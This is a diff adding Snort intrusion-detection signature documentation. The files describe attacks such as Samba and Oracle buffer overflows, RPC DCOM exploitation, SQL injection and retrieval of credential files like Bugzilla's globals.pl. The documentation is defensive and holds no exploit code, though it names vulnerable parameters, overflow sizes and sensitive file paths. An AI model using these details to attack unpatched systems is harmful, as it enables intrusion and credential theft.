+long LIST command to the IMAP server, creating a buffer overflow
+condition. This can then allow the attacker to gain shell access on the
+compromised server, possibly leading to the execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple. Exploits exist, but the user must have a valid IMAP account on
+the server.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate patches for your operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2456.txt
+++ snort-2.8.5.2/doc/signatures/2456.txt
@@ -0,0 +1,52 @@
+Rule:
+
+--
+Sid:
+2456
+
+--
+Summary:
+This event is generated when a host in your network that has Yahoo Instant Messenger running attempts to send a file to another Yahoo IM user. 
+
+--
+Impact:
+Possible policy violation.  Instant Messenger programs may not be appropriate in certain network environments.
+
+--
+Detailed Information:
+It is possible that a file that is exchanged may contain malicious code such as as virus, worm, Trojan, or backdoor.  Also, since all exchanges are done via Yahoo IM servers and in clear text, there should be no expectation of privacy.  This may also provide a less scrutinized means of sharing unauthorized or inappropriate files with others. 
+
+--
+Affected Systems:
+Any host running Yahoo Instant Messenger.
+
+--
+Attack Scenarios:
+A Yahoo IM user may unwittingly accept a malicious file.
+
+--
+Ease of Attack:
+Easy to transfer a malicious file.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+It may be possible for Yahoo IM traffic to use other ports than the default expected ones.  
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+--
+Additional References:
+Yahoo Protocol
+http://www.cse.iitb.ac.in/~varunk/YahooProtocol.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1843.txt
+++ snort-2.8.5.2/doc/signatures/1843.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+1843
+
+--
+Summary:
+This event is generated when  an attacker attempts to connect to a 
+Trinity DDoS Trojan server.
+
+--
+Impact:
+Possible Distributed Denial of Service and control of the victim host.
+
+--
+Detailed Information:
+This Trojan affects UNIX operating systems:
+
+Trinity is used as a Distributed Denial of Service (DDoS) agent and can 
+launch DDoS attacks from a large number of hosts against a target.
+
+Due to the nature of this Trojan it is unlikely that the attacker's 
+client IP address has been spoofed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Delete the Trojan and kill any associated processes.
+
+Restore the system from known good backups.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3427.txt
+++ snort-2.8.5.2/doc/signatures/3427.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3427
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000789.txt
+++ snort-2.8.5.2/doc/signatures/100000789.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000789
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "FreeWebshop" application running on a webserver. Access to the file "details.php" with SQL commands being passed as the "prod" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "prod" parameter in the "details.php" script used by the "FreeWebshop" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using FreeWebshop
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/681.txt
+++ snort-2.8.5.2/doc/signatures/681.txt
@@ -0,0 +1,80 @@
+Rule:  
+
+--
+Sid: 
+681
+
+-- 
+
+Summary: 
+This event is generated when a command is issued to an SQL database
+server that may result in a serious compromise of the data stored on
+that system.
+
+-- 
+Impact: 
+Serious. An attacker may have gained administrator access to the system.
+
+--
+Detailed Information:
+This event is generated when an attacker issues a special command to an
+SQL database that may result in a serious compromise of all data stored
+on that system.
+
+Such commands may be used to gain access to a system with the privileges
+of an administrator, delete data, add data, add users, delete users,
+return sensitive information or gain intelligence on the server software
+for further system compromise.
+ 
+This connection can either be a legitimate telnet connection or the
+result of spawning a remote shell as a consequence of a successful
+network exploit. 
+
+--
+Affected Systems:
+	Microsoft SQL Servers
+
+--
+
+Attack Scenarios: 
+Simple. These are SQL database commands.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives: 
+This event may be generated by a database administrator logging in and
+issuing database commands from a location outside the protected network.
+
+--
+False Negatives:
+None Known
+
+-- 
+
+Corrective Action: 
+Disallow direct access to the SQL server from sources external to the
+protected network.
+
+Ensure that this event was not generated by a legitimate session then
+investigate the server for signs of compromise
+
+Look for other events generated by the same IP addresses.
+
+--
+Contributors: 
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Microsoft MSDN:
+http://msdn.microsoft.com/library/en-us/tsqlref/ts_xp_aa-sz_4jxo.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2103.txt
+++ snort-2.8.5.2/doc/signatures/2103.txt
@@ -0,0 +1,66 @@
+Rule:  
+
+--
+Sid: 2103
+
+--
+Summary:
+
+A buffer overflow exists in the Samba file and print sharing software 
+that can allow a remote attacker to gain root privileges on the target 
+script to exploit this vulnerability.
+
+--
+Impact:
+
+An attacker can cause the target system running Samba to overflow a 
+buffer presenting the attacker with root privileges.
+
+--
+Detailed Information:
+It is possible for an anonymous user to cause a buffer overflow in a 
+character array by sending data greater than 1024 bytes to the variable 
+pname. This information is copied by another function causing the buffer
+overflow.
+
+Affected Systems:
+Samba versions 2.2.5 to 2.2.8
+
+may indicate an attacker verifying the root shell.
+
+--
+Attack Scenarios:
+The attacker needs to send pname a value larger than 1024 bytes.
+
+--
+Ease of Attack:
+Simple, an exploit script exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+No false negatives are known at this time.
+
+--
+Corrective Action:
+Upgrade to Samba versions 2.2.8a or Samba-TNG.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Digital Defense
+http://www.digitaldefense.net/labs/advisories/DDI-1013.txt
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0201
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1511.txt
+++ snort-2.8.5.2/doc/signatures/1511.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1511
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1490.txt
+++ snort-2.8.5.2/doc/signatures/1490.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+1490
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a weakness in a php application. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in php applications.
+
+The attacker may be trying to gain information on the php implementation on the host, this may be the prelude to an attack against that host using that information.
+
+--
+Affected Systems:
+Any host using php.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the php application on the host. The attacker might then gain administrator access to the site or database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the php implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1778.txt
+++ snort-2.8.5.2/doc/signatures/1778.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+1778
+
+--
+Summary:
+This event is generated when an attempt is made to cause a Denial of Service (DoS) to an FTP server.
+
+--
+Impact:
+Serious. Denial of Service.
+
+--
+Detailed Information:
+Certain versions of Microsoft's IIS FTP service are vulnerable to a DoS attack. The condition exists when a user attempts to view the transfer status using the STAT command. If the user enters a large number of file globbing characters as an argument, the service will crash.
+
+--
+Affected Systems:
+	Microsoft IIS versions 4.0, 5.0, and 5.1
+	Cisco Building Broadband Service Manager 4.0.1 - 5.1
+	Cisco Call Manager 3.0 - 3.2
+	Cisco Unity Server 2.0 - 2.4
+
+--
+Attack Scenarios:
+An attacker can cause the service to restart or hang, leaving the service unavailable to users.
+
+--
+Ease of Attack:
+Medium
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/4482
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2780.txt
+++ snort-2.8.5.2/doc/signatures/2780.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2780
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_site_priority
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3390.txt
+++ snort-2.8.5.2/doc/signatures/3390.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3390
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2989.txt
+++ snort-2.8.5.2/doc/signatures/2989.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+2989
+
+--
+Summary:
+This event is generated when an attempt is made to bind to the Windows
+registry service via SMB. 
+
+--
+Impact:
+Serious. Remote administration of the Windows reqistry may be possible.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to bind to the Windows
+registry service via SMB across the network.
+
+It may be possible for an attacker to manipulate the Windows registry
+from a remote location. This could give the attacker administrative
+privileges on the target host as well as the opportunity to execute code
+of their choosing.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+If the Windows registry is accessible via SMB the attacker can
+manipulate the operating system registry settings.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2782.txt
+++ snort-2.8.5.2/doc/signatures/2782.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2782
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_snapshot_repobject
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1793.txt
+++ snort-2.8.5.2/doc/signatures/1793.txt
@@ -0,0 +1,64 @@
+Rule:  
+--
+Sid:
+
+1793
+
+--
+Summary:
+This rule indicates that a webpage was visited the included the content "fetish".
+
+--
+Impact:
+Someone could be violating your company's policy regarding the browsing of inappropriate content.
+
+--
+Detailed Information:
+
+This rule looks for a response from a webserver containing "fetish".
+
+--
+Affected Systems:
+
+All
+
+--
+Attack Scenarios:
+
+Not an attack.  
+
+--
+Ease of Attack:
+
+N/A.
+
+--
+False Positives:
+
+This could have been caused by a pop-up window or spam with an embedded link to a pornographic website.  This could also be caused by somebody visiting the snort rule descriptions on the snort website. etc.etc.
+
+--
+False Negatives:
+
+None known.
+--
+Corrective Action:
+
+Dependent on your company's policies.   
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Steven Alexander<alexander.s@mccd.edu>
+-- 
+Additional References:
+
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2891.txt
+++ snort-2.8.5.2/doc/signatures/2891.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2891
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure drop_priority_number
+. This procedure is included in
+sys.dbms_repcat_conf.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2073.txt
+++ snort-2.8.5.2/doc/signatures/2073.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+Sid:
+2073
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Bugzilla.
+
+--
+Impact:
+Disclosure of sensitive information.
+
+--
+Detailed Information:
+The file globals.pl contains global variables used by Bugzilla 
+components. It is possible for this file to be read by a user via a web 
+browser.
+
+Details such as the username and password of the administrator account 
+for the database are stored in this file.
+
+--
+Affected Systems:
+Mozilla Bugzilla 2.4
+
+Mozilla Bugzilla 2.6
+
+Mozilla Bugzilla 2.8 for:
+	Microsoft Windows 95, 98, NT 3.51 and NT 4.0
+
+Mozilla Bugzilla 2.10
+
+--
+Attack Scenarios:
+The attacker merely needs to make a direct request for the file via a 
+browser or other agent.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate patches from the vendor.
+
+Ensure that the file globals.pl is not world readable.
+
+Upgrade to the latest version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0330
+
+Bugtraq:
+http://www.securityfocus.com/bid/2671
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2551.txt
+++ snort-2.8.5.2/doc/signatures/2551.txt
@@ -0,0 +1,71 @@
+Rule: 
+
+--
+Sid: 
+2551
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Oracle Application Server Web Cache.
+
+-- 
+
+Impact: 
+Serious. Possible execution of arbitrary code leading to remote
+administrative access.
+
+--
+Detailed Information:
+The Oracle Application Server Web Cache is vulnerable to a buffer
+overrun caused by poor checking of the length of an HTTP Header. If a
+large invalid HTTP Request Method is supplied to a vulnerable system, an
+attacker may be presented with the opportunity to overrun a fixed length
+buffer and subsequently execute code of their choosing on the server.
+
+--
+Affected Systems:
+Oracle Application Server Web Cache 10g 9.0.4 .0
+Oracle Oracle9i Application Server Web Cache 2.0 .0.4
+Oracle Oracle9i Application Server Web Cache 9.0.2 .3
+Oracle Oracle9i Application Server Web Cache 9.0.2 .2
+Oracle Oracle9i Application Server Web Cache 9.0.3 .1
+
+--
+
+Attack Scenarios: 
+An attacker might supply an HTTP Request Method of more than 432 bytes,
+causing the overflow to occur.
+
+-- 
+
+Ease of Attack: 
+Simple.
+
+-- 
+
+False Positives:
+None Known
+
+--
+False Negatives:
+This rule examines Oracle Web Cache server on port 7777 or 7778.  It is possible
+to configure the Oracle Web Cache server to run on different ports.  The rule
+should be configured to reflect the appropriate ports of Oracle Web Cache
+servers on your network.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/891.txt
+++ snort-2.8.5.2/doc/signatures/891.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+Sid:
+891
+
+--
+Summary:
+This event is generated when an attempt is made to access the file
+upload.pl via a web browser.
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited
+by the attacker.
+
+This event indicates an attempt to access the CGI application upload.pl,
+this perl script can be used to upload files to a system and may be used
+by an attacker to place files of their choosing onto a server for
+further use.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Ensure that access controls are in place to limit access to the
+application to authorized users only.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/953.txt
+++ snort-2.8.5.2/doc/signatures/953.txt
@@ -0,0 +1,80 @@
+Rule:
+
+--
+Sid:
+953
+
+--
+
+Summary:
+This event is generated when an attempt is made to access a file with 
+Microsoft Personal Server administration information.
+
+--
+
+Impact:
+If successful, the attacker can log into the system and modify web 
+content, as well as modify other users' credentials.
+
+--
+
+Detailed Information:
+On systems running Microsoft Personal Web Server the file 
+administrators.pwd contains usernames and encrypted passwords for users 
+who can author contents and administer this server. The attacker can 
+guess the exact URL of this file and request it, hence gaining this 
+information.
+
+--
+
+Affected Systems:
+Certain versions of Microsoft Windows 95 or Windows 98 running Frontpage
+1.1 or Frontpage 98 Server Extensions. Windows NT installations are not 
+affected.
+
+--
+
+Attack Scenarios:
+An attacker can request the file from its standard location, entering 
+the exact URL, and gain access to the system after cracking the 
+passwords found in the file.
+
+--
+
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+
+False Positives:
+None known.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Disable the Personal Web Server.
+
+--
+
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Chaos <c@aufbix.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1205/info/
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2624.txt
+++ snort-2.8.5.2/doc/signatures/2624.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2624
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "unregister_user_repgroup" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "privilege_type" variable
+to cause the overflow. The result could permit the attacker to gain
+escalated privileges and run code of their choosing. This attack
+requires an attacker to logon to the database with a valid username
+and password combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+ 
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck94.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1886.txt
+++ snort-2.8.5.2/doc/signatures/1886.txt
@@ -0,0 +1,69 @@
+Rule:
+
+
+--
+Sid: 
+
+1886
+
+-- 
+Summary: 
+This rule has been placed in deleted.rules
+
+-- 
+Impact: 
+
+attacker might have gained an ability to execute commands remotely on the system.
+
+--
+Detailed Information:
+
+This signature triggers when a UNIX "id" command is used to confirm
+the user name of the currently logged in user over any unencrypted
+connection. Such connection can be either a legitimate telnet
+connection or a result of spawning a shell on FTP, POP3, SMTP or other
+port as a consequence of network exploit. The string "uid=" and
+"(apache)" is an output of an "id" command indicating that the user
+has "apache" account privileges, typically used by the web server
